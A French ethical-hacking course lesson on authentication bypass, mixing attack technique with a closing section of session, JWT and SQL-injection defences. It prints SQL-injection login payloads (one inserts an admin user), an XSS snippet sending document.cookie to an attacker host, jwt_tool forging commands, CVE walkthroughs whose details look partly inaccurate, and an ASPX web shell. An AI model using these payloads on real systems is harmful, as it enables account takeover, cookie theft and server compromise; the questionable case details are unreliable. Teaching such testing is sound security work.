Contournement d'authentification
Compromettez l'identite des utilisateurs grace aux failles d'authentification et de session
Ce que vous allez decouvrir
🎯 Pourquoi c'est important
Les vulnerabilites d'authentification et de gestion de session compromettent directement l'identite des utilisateurs et le controle d'acces, conduisant souvent a une prise de controle complete des comptes. Ces failles sont particulierement critiques car elles contournent les mecanismes de securite fondamentaux sur lesquels les applications s'appuient pour verifier l'identite des utilisateurs et maintenir des sessions securisees. Les applications modernes utilisant des tokens, des API et des microservices introduisent une complexite supplementaire qui cree de nouveaux vecteurs d'attaque.
🔍 Ce que vous allez apprendre
Vous comprendrez comment identifier les mecanismes d'authentification faibles et exploiter les vulnerabilites de fixation, detournement et prediction de session. Cela inclut la manipulation des tokens JWT , le contournement de la validation des signatures et l'escalade de privileges par manipulation de parametres, les memes techniques systematiques utilisees par les experts en securite pour evaluer les systemes d'identite et de controle d'acces.
🚀 Votre premiere reussite
Dans les 15 prochaines minutes, vous allez exploiter avec succes des failles de gestion de session pour passer d'un utilisateur ordinaire a des privileges d'administrateur, demontrant comment une mauvaise gestion des sessions peut conduire a une compromission complete de l'application.
🔧 Essayez ceci maintenant
Testez les techniques courantes de contournement d'authentification sur un formulaire de connexion
# Contournement d'authentification par injection SQL
username: admin' --
password: (n'importe quoi)
# Contournements SQL alternatifs
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin'/*
password: */OR/**/1=1#
# Tests de manipulation de parametres
# Interceptez la requete de connexion et ajoutez :
role=admin
user_type=administrator
is_admin=true
# Manipulation de session
# Apres connexion, modifiez les cookies :
user_role=admin
privileges=administrator
access_level=5
# Modification de token JWT (si JWT utilise)
# Decodez le token, changez le role en "admin", reencodez
Vous verrez : Comment de nombreuses applications echouent a valider correctement l'entree utilisateur lors de l'authentification ou s'appuient sur des parametres cote client pour le controle d'acces. Cela demontre pourquoi le test d'authentification est une partie critique des evaluations de securite.
Competences que vous allez maitriser
✅ Comprehension fondamentale
- Mecanismes d'authentification et failles d'implementation
- Gestion du cycle de vie des sessions et securite
- Systemes d'authentification bases sur les tokens
- Implementations cryptographiques et faiblesses
🔍 Competences avancees
- Outils et techniques de manipulation JWT
- Methodes d'analyse et d'exploitation de session
- Test et validation d'escalade de privileges
- Implementation securisee et remediation
Comprendre les vulnerabilites d'authentification
Les failles d'authentification surviennent lorsque les applications echouent a verifier correctement l'identite des utilisateurs ou a maintenir des sessions securisees
Le probleme fondamental est que de nombreuses applications implementent l'authentification apres coup, conduisant a une validation faible, des tokens previsibles et une gestion de session non securisee. Ces vulnerabilites sont particulierement dangereuses car elles fournissent souvent un acces direct aux comptes utilisateurs et aux fonctions administratives.
Failles courantes
Erreurs typiques d'implementation d'authentification
Politiques de mot de passe faibles
Tokens de session previsibles
Regeneration de session manquante
Reinitialisation de mot de passe non securisee
Injection SQL dans la connexion
Controle d'acces cote client
Vecteurs d'attaque
Methodes utilisees pour compromettre l'authentification
Fixation de session
Detournement de session
Manipulation JWT
Manipulation de parametres
Empoisonnement de reinitialisation de mot de passe
Attaques par force brute
Impact potentiel
Ce que les attaquants peuvent accomplir
Prise de controle de compte
Escalade de privileges
Acces aux donnees
Controle administratif
Mouvement lateral
Acces persistant
Outils et techniques
Le test d'authentification necessite une combinaison de techniques manuelles et d'outils specialises pour identifier et exploiter systematiquement les faiblesses des systemes d'identite et de gestion de session.
Exploitation de la gestion de session : les fondamentaux
Les vulnerabilites de session sont souvent le chemin le plus facile vers le contournement d'authentification car elles exploitent la facon dont les applications suivent l'etat des utilisateurs apres une connexion reussie.
Fixation et detournement de session
# Flux d'attaque par fixation de session
1. L'attaquant obtient un ID de session valide : JSESSIONID=ABC123
2. La victime est trompee pour utiliser cet ID de session
3. La victime s'authentifie avec l'ID de session fixe
4. L'attaquant utilise l'ID de session connu pour acceder au compte de la victime
# Techniques d'implementation
# Email/ingenierie sociale avec session predefinie
http://<target>/login?JSESSIONID=ATTACKER_CONTROLLED_ID
# XSS pour definir le cookie de session
document.cookie="JSESSIONID=FIXED_SESSION_ID; path=/"
# Detournement de session via XSS
<script>
fetch('http://<attacker>/steal', {
method: 'POST',
body: 'session=' + document.cookie
});
</script>
# Interception reseau (trafic non chiffre)
# Surveillez le trafic reseau pour les cookies de session
# Utilisez des outils comme Wireshark, tcpdump ou Burp Suite
# Analyse de prediction de session
# Collectez plusieurs IDs de session pour identifier les motifs
session1: ABC123456
session2: ABC123457
session3: ABC123458 # Sequentiel = previsible
Les attaques de session fonctionnent parce que de nombreuses applications echouent a regenerer les IDs de session apres l'authentification ou utilisent des algorithmes de generation de session previsibles.
Exploitation des tokens JWT : vecteur d'attaque moderne
Les JSON Web Tokens sont de plus en plus courants dans les applications modernes, mais une mauvaise implementation cree de nouvelles opportunites de contournement d'authentification par manipulation de tokens. Pour une immersion complete dans les vulnerabilites de securite JWT et les techniques d'exploitation, consultez notre cours dedie JWT Ethical Hacking: Token Takeover Tactics ou vous maitriserez les attaques JWT avancees comme le brute forcing de secrets, la confusion d'algorithmes et la manipulation de claims.
Manipulation JWT avec jwt_tool
# Installer jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip install -r requirements.txt
# Analyser la structure du token JWT
python jwt_tool.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# Attaque de confusion d'algorithme (RS256 → HS256)
python jwt_tool.py -S hs256 -k public_key.pem JWT_TOKEN
# Attaque d'algorithme None (supprimer la verification de signature)
python jwt_tool.py -X a JWT_TOKEN
# Cracker les secrets HMAC faibles
python jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt JWT_TOKEN
# Modification manuelle de token
# 1. Decoder l'en-tete et le payload (base64)
# 2. Modifier le payload : {"role": "admin", "user": "attacker"}
# 3. Reencoder avec les valeurs modifiees
# 4. Pour l'algorithme 'none', supprimer completement la signature
# Exemple : Changer le role utilisateur
Original: {"sub": "1234", "name": "John", "role": "user"}
Modifie: {"sub": "1234", "name": "John", "role": "admin"}
Les attaques JWT reussissent lorsque les applications acceptent des algorithmes faibles, ne valident pas correctement les signatures ou utilisent des secrets previsibles pour la signature des tokens.
Injection SQL dans l'authentification : contournement classique
L'injection SQL dans les formulaires de connexion reste l'une des techniques de contournement d'authentification les plus efficaces, particulierement dans les applications legacy qui n'utilisent pas de requetes parametrees.
Payloads de contournement d'authentification
# Contournement d'authentification basique
username: admin' --
password: anything
# Contournement base sur les booleens
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin' OR 'x'='x' --
# Collecte d'informations basee sur UNION
username: admin' UNION SELECT 1,username,password FROM users --
# Contournement de validation de mot de passe
username: admin
password: ' OR '1'='1
# Injection aveugle basee sur le temps (pour confirmer la vulnerabilite)
username: admin' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') AND SLEEP(5) --
# Contournement avance avec creation d'utilisateur
username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password123', 'administrator'); --
# Variations de commentaires pour differentes bases de donnees
-- (MySQL, PostgreSQL)
# (MySQL)
/* */ (MySQL, SQL Server)
L'injection SQL dans l'authentification fonctionne en manipulant la logique de requete pour toujours retourner vrai ou en extrayant directement les identifiants utilisateur de la base de donnees.
Scenarios d'attaque reels
Ces cas documentes de recherche en securite demontrent comment les vulnerabilites de contournement d'authentification ont ete exploitees dans des applications reelles, fournissant des informations issues de decouvertes de bug bounty et de divulgations CVE.
Scenario 1 : Contournement d'authentification SAML GitLab via Ruby-SAML (CVE-2024-45409)
Des chercheurs en securite de ProjectDiscovery ont decouvert un contournement d'authentification critique dans la bibliotheque Ruby-SAML affectant les instances GitLab, permettant aux attaquants de contourner la validation de signature SAML par manipulation de valeur de digest XML.
# Etape 1 : Analyser la structure de reponse SAML
# GitLab accepte les assertions SAML pour l'authentification SSO
# Vulnerabilite : Verification incorrecte de signature XML
# Etape 2 : Creer une assertion SAML malveillante
# L'assertion signee originale contient l'email utilisateur
# Modifier le champ email en dehors de la portion signee
<saml:Assertion>
<saml:Subject>
<saml:NameID>victim@<target></saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="email">
<saml:AttributeValue>attacker@hackerdna.com</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<!-- La signature ne couvre que Subject, pas AttributeStatement -->
<ds:Signature>...</ds:Signature>
</saml:Assertion>
# Etape 3 : Contournement d'authentification reussi
# GitLab valide la signature sur Subject (email victime)
# Mais utilise l'email de AttributeStatement (email attaquant)
# Resultat : Connexion en tant que victime avec email controle par l'attaquant
# Etape 4 : Prise de controle de compte
# Initier la reinitialisation de mot de passe via le compte compromis
# Email de reinitialisation envoye a l'adresse controlee par l'attaquant
# Prise de controle complete du compte sans connaitre le mot de passe original
Apercu expert : Cette vulnerabilite demontre comment des protocoles d'authentification complexes comme SAML peuvent introduire des failles de verification subtiles. L'attaque exploitait l'echec de GitLab a s'assurer que la portee de la signature XML couvrait tous les champs pertinents pour la securite, permettant des attaques de wrapping de signature courantes dans les systemes d'authentification bases sur XML.
Scenario 2 : Contournement d'algorithme JWT Auth0 (Avis de securite)
Le chercheur en securite Ben Knight d'Insomnia Security a divulgue un contournement de validation JWT dans l'API d'authentification Auth0 qui exploitait le filtrage sensible a la casse de l'algorithme 'none', permettant la falsification de tokens et le contournement d'authentification.
# Etape 1 : Analyser l'implementation de l'API d'authentification Auth0
# Auth0 empechait 'alg: none' avec un filtre sensible a la casse
# Vulnerabilite : Le filtrage sensible a la casse permettait le contournement
# Etape 2 : Obtenir la structure de token JWT legitime
# Un token normal aurait alg: RS256 ou similaire
{
"alg": "RS256",
"typ": "JWT"
}
# Etape 3 : Exploiter le contournement de filtre sensible a la casse
# Auth0 bloquait 'none' en minuscules mais pas les variantes avec majuscules
# Creer un token avec 'None', 'nonE', 'NoNe', etc.
{
"alg": "None", # ou "nonE", "NoNe", "NONE"
"typ": "JWT"
}
# Etape 4 : Creer un payload malveillant
# Creer un payload avec les claims desires
{
"sub": "attacker@hackerdna.com",
"aud": "auth0-application",
"iss": "https://<target>.auth0.com/",
"exp": 9999999999,
"iat": 1516239022,
"mfa_token": "bypass_mfa"
}
# Etape 5 : Creer un token non signe
# Encoder en base64 l'en-tete et le payload, pas de signature
header = base64encode({"alg":"None","typ":"JWT"})
payload = base64encode({malicious_claims})
forged_token = header + "." + payload + "."
# Resultat : Contournement d'authentification et potentiel contournement MFA
# L'API Auth0 retourne une reponse 200 pour les tokens falsifies
# Les applications faisant confiance a la validation de token Auth0 sont compromises
Apercu expert : Cette vulnerabilite a demontre comment le filtrage sensible a la casse peut creer des contournements de securite dangereux. La faille permettait un contournement complet de la verification de signature en exploitant une gestion de casse inconsistante dans la validation d'algorithme. Auth0 a rapidement remedie au probleme apres la divulgation responsable, soulignant l'importance d'une validation d'entree complete et le defi recurrent de l'algorithme 'none' dans les implementations JWT.
Scenario 3 : Contournement d'authentification Microsoft Exchange ProxyLogon (CVE-2021-26855)
La vulnerabilite ProxyLogon decouverte par les chercheurs de Volexity permettait le contournement d'authentification dans les serveurs Microsoft Exchange, conduisant a l'un des incidents de securite d'entreprise les plus significatifs affectant plus de 250 000 serveurs dans le monde.
# Etape 1 : Identifier la vulnerabilite du serveur Exchange
# CVE-2021-26855 : SSRF dans Exchange permet le contournement d'authentification backend
# Vulnerabilite : Validation incorrecte de l'en-tete Host dans les requetes proxy
# Etape 2 : Creer une requete malveillante avec manipulation d'en-tete Host
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
Host: <target>
Authorization: Bearer <any_token>
Content-Type: application/json
X-Forwarded-Host: localhost
X-Forwarded-For: 127.0.0.1
{
"filter": {
"Parameters": {
"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange",
"SelectedView": "",
"SelectedVDirType": "All"
}
}
}
# Etape 3 : Contournement d'authentification backend reussi
# Le backend Exchange fait confiance aux requetes de localhost
# Les en-tetes X-Forwarded font apparaitre la requete comme interne
# Resultat : Acces administratif sans authentification
# Etape 4 : Escalader vers une compromission complete du serveur
# Utiliser l'acces authentifie pour exploiter des CVE supplementaires
# CVE-2021-26857 : Deserialisation non securisee
# CVE-2021-26858 : Ecriture de fichier arbitraire post-auth
# Etape 5 : Deployer un web shell pour un acces persistant
POST /owa/auth/Current/themes/resources/<webshell>.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request.QueryString["cmd"];
if (cmd != null) {
Process.Start("cmd.exe", "/c " + cmd);
}
%>
# Resultat : Compromission complete du serveur Exchange et acces persistant
Apercu expert : ProxyLogon represente une tempete parfaite de contournement d'authentification menant a une compromission complete de l'infrastructure. La vulnerabilite SSRF initiale contournait les controles d'authentification, mais les vrais degats provenaient de son chainage avec des vulnerabilites post-authentification. Cette etude de cas demontre comment les contournements d'authentification servent souvent de point d'entree pour des chaines d'attaque plus complexes dans les environnements d'entreprise.
Contre-mesures defensives
Comprendre ces mecanismes de defense vous aide a evaluer si les applications implementent correctement la securite d'authentification et a fournir des conseils de remediation complets lors des evaluations de securite.
Fondation essentielle de securite de session
Une gestion de session efficace cree plusieurs barrieres contre les attaques basees sur les sessions grace a une implementation cryptographiquement securisee et une gestion appropriee du cycle de vie.
Strategies de protection de session essentielles
Securite de generation de session
- Utilisez des generateurs de nombres aleatoires cryptographiquement securises pour la creation d'ID de session
- Generez des IDs de session avec un minimum de 128 bits d'entropie
- Implementez la regeneration d'ID de session immediatement apres une authentification reussie
- Rejetez et invalidez tout identifiant de session preexistant lors de la connexion
Attributs de securite des cookies
- Activez le flag HttpOnly pour empecher l'acces JavaScript cote client
- Definissez le flag Secure pour garantir la transmission uniquement via des connexions chiffrees
- Configurez l'attribut SameSite pour attenuer les attaques CSRF
- Implementez des restrictions de domaine et de chemin pour limiter la portee des cookies
Gestion du cycle de vie des sessions
Implementez des delais d'expiration absolus et d'inactivite, une terminaison de session securisee a la deconnexion et une invalidation de session cote serveur. Stockez les donnees de session exclusivement sur le serveur avec des verifications d'integrite cryptographiques pour empecher la falsification.
Implementation de securite des tokens JWT
Une securite JWT robuste necessite plusieurs couches de validation, des pratiques cryptographiques solides et une selection d'algorithme soignee pour empecher la manipulation de tokens et l'escalade de privileges.
Strategie de defense JWT multicouche
Protection cryptographique
- Generez des secrets de signature en utilisant des sources aleatoires cryptographiquement securisees avec un minimum de 256 bits d'entropie
- Mettez explicitement en liste blanche les algorithmes de signature autorises et rejetez l'algorithme 'none'
- Implementez des procedures de rotation de cles appropriees pour la gestion a long terme des secrets
- Utilisez des algorithmes asymetriques (RS256) pour les systemes distribues necessitant une verification par cle publique
Exigences de validation
- Verifiez la signature du token, l'expiration, l'emetteur et les claims d'audience a chaque requete
- Implementez des durees de vie de token courtes (15-30 minutes) avec des mecanismes de rafraichissement securises
- Validez tous les claims JWT par rapport aux valeurs attendues avant d'accorder l'acces
- Journalisez et surveillez les tentatives de token invalides pour la detection d'incidents de securite
Revocation de token et liste noire
Maintenez des listes noires de tokens cote serveur pour des capacites de revocation immediates, implementez le versioning de tokens pour les scenarios d'invalidation massive, et utilisez la rotation des tokens de rafraichissement pour limiter les fenetres d'exposition lors d'une compromission.
Validation des entrees d'authentification
Une validation complete des entrees et des requetes parametrees eliminent les vulnerabilites d'injection SQL tandis qu'un controle d'acces approprie empeche l'escalade de privileges par manipulation de parametres.
Securite d'authentification prete pour la production
Prevention de l'injection SQL
- Utilisez exclusivement des requetes parametrees et des instructions preparees pour les interactions avec la base de donnees
- Implementez des procedures stockees avec une validation d'entree appropriee pour la logique d'authentification complexe
- Appliquez le principe du moindre privilege aux comptes de base de donnees utilises par les applications
- Activez la journalisation des requetes de base de donnees et la surveillance des tentatives d'authentification suspectes
Application du controle d'acces
- Effectuez toutes les decisions d'autorisation cote serveur en utilisant des donnees de session ou de token fiables
- Implementez un controle d'acces base sur les roles avec une verification granulaire des permissions
- Validez les permissions utilisateur sur chaque operation privilegiee, pas seulement l'authentification initiale
- Utilisez des services d'autorisation centralises pour garantir une application coherente des politiques
Strategie de defense en profondeur
Superposez plusieurs controles de securite incluant la limitation de debit pour la protection contre la force brute, les mecanismes de verrouillage de compte, l'authentification multi-facteur et une surveillance de securite complete. Combinez les controles techniques avec la formation a la sensibilisation a la securite et des evaluations de securite regulieres.
🎯 Vous maitrisez le contournement d'authentification !
Vous comprenez maintenant comment compromettre l'identite des utilisateurs grace aux failles d'authentification et de session. Vous pouvez exploiter les vulnerabilites de gestion de session, manipuler les tokens JWT et effectuer une escalade de privileges en utilisant les memes techniques systematiques que les experts en securite utilisent pour evaluer les systemes d'identite et de controle d'acces.
Pret a obtenir une execution de code a distance via les telechargements de fichiers